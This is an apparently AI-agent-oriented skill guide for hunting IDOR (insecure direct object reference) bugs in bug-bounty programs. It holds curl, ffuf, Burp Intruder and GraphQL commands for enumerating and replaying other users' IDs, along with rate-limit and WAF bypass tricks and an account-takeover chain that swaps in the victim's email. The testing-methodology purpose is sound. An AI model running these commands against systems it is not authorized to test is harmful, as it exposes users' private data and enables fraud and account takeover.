hunt-idor— agent skill

Crown Jewel Targets

Why IDOR pays big:

• Direct access to other users' data without authentication bypass — clear, demonstrable impact
• Chains easily with privilege escalation, financial fraud, and account takeover
• Affects virtually every application with user-owned resources

Highest-value asset types (by payout potential):

Programs that pay most for IDOR:

• Platforms with multi-tenancy (SaaS, B2B tools)
• Fintech and payment processors
• Social platforms with private content
• Developer tools with org/repo isolation

Attack Surface Signals

URL patterns that scream IDOR:

/api/v1/users/{id}/
/api/v*/orders/{order_id}
/invoices/download?id=
/reports/{uuid}/
/messages/{thread_id}
/admin/orgs/{org_id}/members
/migration/{migration_id}/files
/graphql (query params with IDs)
/api/business/{business_id}/
/vouchers/{voucher_id}/policy

Response header signals:

• Content-Type: application/json on endpoints accepting raw IDs
• No X-Frame-Options or CORS misconfigs paired with ID params
• Authorization: Bearer tokens that are user-scoped but hit org-level resources

JavaScript source patterns:

// Look for hardcoded or interpolated IDs in JS
fetch(`/api/v1/users/${userId}/profile`)
axios.get('/invoices/' + invoiceId)
graphql query { billingDocument(id: $docId) }
// Redux/state stores exposing foreign IDs
state.currentUser.organizationId

Tech stack signals:

• GraphQL endpoints (query-based IDORs are often missed)
• REST APIs with sequential integer IDs (most vulnerable)
• UUIDs that are predictable or leaked in other responses
• Multi-tenant SaaS apps with org_id, account_id, business_id params
• Mobile apps (Burp the APK — mobile APIs often skip authorization checks)

Step-by-Step Hunting Methodology

1. Map all object references in the application

• Browse every feature authenticated as User A
• Capture all requests in Burp Suite
• Filter for requests containing: id=, _id=, uuid=, /v1/{noun}/{id}, query params with numeric/UUID values

1. Enumerate ID types

• Sequential integers → enumerate ±1, ±100
• UUIDs → check if they appear in other responses or JS files
• Hashed IDs → check if leaked in public endpoints, metadata, or GraphQL introspection

1. Create two separate accounts (same privilege level)

• User A: resource owner
• User B: attacker account
• Log all IDs belonging to User A while authenticated as User A

1. Replay User A's resource IDs as User B

• Replace session cookie/token with User B's credentials
• Send identical requests referencing User A's object IDs
• Test ALL HTTP verbs: GET, POST, PUT, PATCH, DELETE on each endpoint

1. Test cross-tenant/cross-org scenarios

• Create accounts in separate organizations/businesses
• Test if Org B's session can reference Org A's IDs
• Pay special attention to admin/management endpoints

1. Test GraphQL specifically

• Run introspection: { __schema { queryType { fields { name } } } }
• For every query/mutation taking an id argument, substitute another user's ID
• Test both queries (read) and mutations (write/delete)

1. Test write/destructive operations, not just reads

• Can User B DELETE User A's resources?
• Can User B MODIFY User A's content?
• Can User B ADD themselves to User A's account?

1. Chain IDORs together

• Use one IDOR's leaked data (org IDs, user IDs) to fuel the next
• IDOR → leaked ID → second IDOR → privilege escalation

1. Test state-changing edge cases

• Expired tokens/invites that can still be accepted
• Race conditions on resource IDs
• Indirect references: ?sort=id or ?filter[user_id]=

1. Document the exact differential

• Confirm User B has NO legitimate access to User A's resource
• Screenshot/log the 200 OK vs expected 403/404

Payload & Detection Patterns

Basic IDOR test with curl (swap cookie/token):

# Get User A's resource ID while authenticated as A
curl -s -H "Cookie: session=USER_A_SESSION" \
  https://target.com/api/v1/invoices/12345

# Replay with User B's session
curl -s -H "Cookie: session=USER_B_SESSION" \
  https://target.com/api/v1/invoices/12345

# Success = 200 OK with User A's data

GraphQL IDOR test:

curl -s -X POST https://target.com/graphql \
  -H "Authorization: Bearer USER_B_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ billingDocument(id: \"USER_A_DOC_ID\") { id amount pdfUrl } }"}'

Enumerate sequential IDs with ffuf:

ffuf -u "https://target.com/api/v1/orders/FUZZ" \
  -w ids.txt \
  -H "Authorization: Bearer USER_B_TOKEN" \
  -mc 200 \
  -o idor_results.json

Generate sequential ID wordlist:

# Generate IDs around a known value
known_id = 48291
with open("ids.txt", "w") as f:
    for i in range(known_id - 500, known_id + 500):
        f.write(str(i) + "\n")

Burp Intruder payload for IDOR scanning:

GET /api/messages/§12345§ HTTP/1.1
Host: target.com
Authorization: Bearer USER_B_TOKEN

# Mark §12345§ as injection point
# Use numeric sequential payload: 12000-13000
# Filter responses by length difference or status 200

JavaScript scraping for leaked IDs:

# Find IDs in JS bundles
curl -s https://target.com/static/app.js | grep -Eo '"id":"[a-f0-9-]{36}"' | sort -u

# Find object references in API responses
curl -s -H "Cookie: session=USER_A" \
  https://target.com/api/v1/dashboard | python3 -m json.tool | grep -i "_id"

Grep patterns for source code review:

# Missing authorization checks in common frameworks
grep -r "findById\|findOne\|getById" --include="*.js" .
grep -r "params\[:id\]\|params\['id'\]" --include="*.rb" .
grep -r "request\.args\.get\('id'\)" --include="*.py" .

# Look for direct ORM queries without user scoping
grep -r "Model\.find(params" --include="*.js" .
# vs secure pattern: Model.find({ id: params.id, userId: req.user.id })

IDOR via HTTP method tampering:

# Try undocumented methods
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
  echo "=== $method ==="
  curl -s -X $method \
    -H "Authorization: Bearer USER_B_TOKEN" \
    https://target.com/api/v1/users/USER_A_ID/profile
done

Common Root Causes

1. Missing ownership check in ORM queries

   // VULNERABLE: fetches any record
   const invoice = await Invoice.findById(req.params.id);
   
   // SECURE: scopes to authenticated user
   const invoice = await Invoice.findOne({ _id: req.params.id, userId: req.user.id });

1. Authorization at the route level, not object level

• Developer checks "is user logged in?" but not "does this user own this object?"
• Middleware confirms authentication; individual handlers skip ownership validation

1. Trusting client-supplied IDs in request bodies

• Mobile apps or SPAs send org_id in POST body; server uses it directly without verifying caller belongs to that org

1. GraphQL resolvers without field-level authorization

• Query resolvers fetch by ID from database without checking if the requesting user has permission
• Especially common when resolvers are auto-generated from schema

1. Inconsistent authorization across HTTP verbs

• GET endpoint is protected; POST/DELETE on same resource path is not
• Common in APIs built incrementally by different developers

1. Indirect references exposed via related objects

• Object A (accessible) contains a reference to Object B (should be private)
• Developer only protects direct access to B, not indirect references through A

1. Race conditions and state-based IDORs

• Authorization checked at creation time, not at access time
• Invites/tokens remain valid after the granting permission is revoked

1. Multi-tenant isolation failures

• Developers implement per-user access control but forget cross-org boundaries
• user_id check present; org_id / tenant_id check absent

Bypass Techniques

Defense: UUIDs instead of sequential integers

• Bypass: UUIDs often leak in other API responses, notification emails, webhooks, GraphQL queries, or JS source
• Technique: Harvest UUIDs from accessible endpoints, then replay against restricted ones

Defense: Indirect/hashed object references

• Bypass: Decode the hash (often base64 or simple obfuscation), or find the original ID in another response
• Technique: echo "dXNlcl8xMjM0NQ==" | base64 -d → user_12345

Defense: Short-lived tokens per resource

• Bypass: Tokens sometimes reusable across users if server only validates token format, not binding
• Technique: Use your own token to access another user's resource ID

Defense: Rate limiting on enumeration

• Bypass: Slow enumeration (1 req/5s), use distributed IPs, or exploit non-enumeration IDORs (you already know the target's ID from another leak)

Defense: Checking `user_id` in WHERE clause

• Bypass: Check if the same endpoint exists at a different API version (/v1/ vs /v2/) — authorization logic is often version-specific
• Technique: Check JS bundles for older API version calls

Defense: CORS restrictions

• Bypass: IDOR doesn't require cross-origin exploitation — you're testing API endpoints directly with your own session

Defense: "Opaque" references via server-side sessions

• Bypass: Look for any endpoint that returns the internal ID, then use it elsewhere; APIs often expose IDs in Location headers, error messages, or metadata

Defense: Parameter filtering/WAF on common patterns

• Bypass: Try nested JSON {"data": {"id": "VICTIM_ID"}}, HTTP parameter pollution ?id=own_id&id=victim_id, or parameter name variations user_id, userId, uid, account

Gate 0 Validation

Before writing the report, answer all three:

1. What can the attacker DO right now?

Be specific: "Attacker with a valid account can send a GET request to /api/v1/invoices/{victim_invoice_id} and receive the victim's full billing document including name, address, and payment amount — without any relationship to that account."

1. What does the victim LOSE?

Map to CIA triad: confidentiality (data exposed), integrity (data modified), or availability (data deleted). "Victim loses confidentiality of private financial records" or "Victim's content is deleted by a third party" — vague answers fail.

1. Can it be reproduced in 10 minutes from scratch?

• Two fresh accounts created ✓
• Exact HTTP request documented with victim's ID ✓
• 200 OK response showing victim's data (or confirmed state change) ✓
• No reliance on pre-existing state or timing ✓

If you can't demo it reproducibly, do not file the report.

Real Impact Examples

Scenario 1: Financial Data Exposure + Cross-Account Billing Fraud (Uber-style) An attacker discovers two related IDORs: one allows reading any organization's voucher policy configuration (exposing org IDs, employee email lists, and payment methods), and a second allows modifying voucher policies using those leaked IDs. Chained together, this enables the attacker to redirect charges to an arbitrary business account, expose employee PII across organizations, and take over invitation links — all without any elevated privileges beyond a basic user account. Impact: financial fraud + mass PII exposure across the B2B platform.

Scenario 2: Private Repository Read via IDOR on Migration Endpoint (GitHub-style) A migration feature allows users to upload files to a migration job. The migration_id parameter is not validated against the authenticated user's ownership. An attacker creates their own migration, observes the ID format, and substitutes another user's private migration ID — gaining read access to source code files from private repositories they have no access to. Impact: complete confidentiality bypass for private intellectual property.

Scenario 3: Account Takeover Chain via Message IDOR (Reddit-style) An attacker accesses another user's private message threads by substituting their thread_id in a messaging API endpoint. The response includes message content, metadata, and — critically — session or verification tokens sent via internal messages. The attacker leverages the token found in the messages to perform account recovery steps, escalating a read-only IDOR into full account takeover. Impact: complete account compromise of targeted users at scale.

Related Skills & Chains

• `hunt-auth-bypass` — Object-level authorization failure plus route-level auth absence is the canonical IDOR-amplifier. Chain primitive: missing req.user.id scoping in ORM query + missing middleware on legacy /v1/ route = unauthenticated cross-tenant data read via direct ID substitution → bulk PII dump without any session at all.
• `hunt-ato` — Profile-edit IDOR is the most direct path from "read someone's data" to "own their account." Chain primitive: PATCH /api/users/{victim_uid} accepts attacker's session + victim UID → set [email protected] → trigger password reset → reset link arrives at attacker → full ATO without ever knowing victim credentials.
• `hunt-graphql` — GraphQL resolvers without field-level authorization are IDOR-by-default; introspection hands you the schema. Chain primitive: __schema introspection → enumerate every mutation accepting id: argument → substitute victim IDs across updateUser, deleteOrg, transferBilling mutations → mass IDOR fan-out from one introspection query.
• `security-arsenal` — Pull the IDOR Bypass Tables section for HTTP-parameter-pollution payloads (?id=own&id=victim), nested-JSON wrappers ({"data":{"id":"VICTIM"}}), and parameter-name variations (uid/userId/user_id/account) when the first direct substitution returns 403.
• `triage-validation` — Run the Pre-Severity Gate before claiming Critical on an IDOR that returns 200 but doesn't actually leak data (empty array, redacted fields, "access denied" in body with 200 status). The 200-but-no-data IDOR is the #1 N/A driver on H1/Bugcrowd.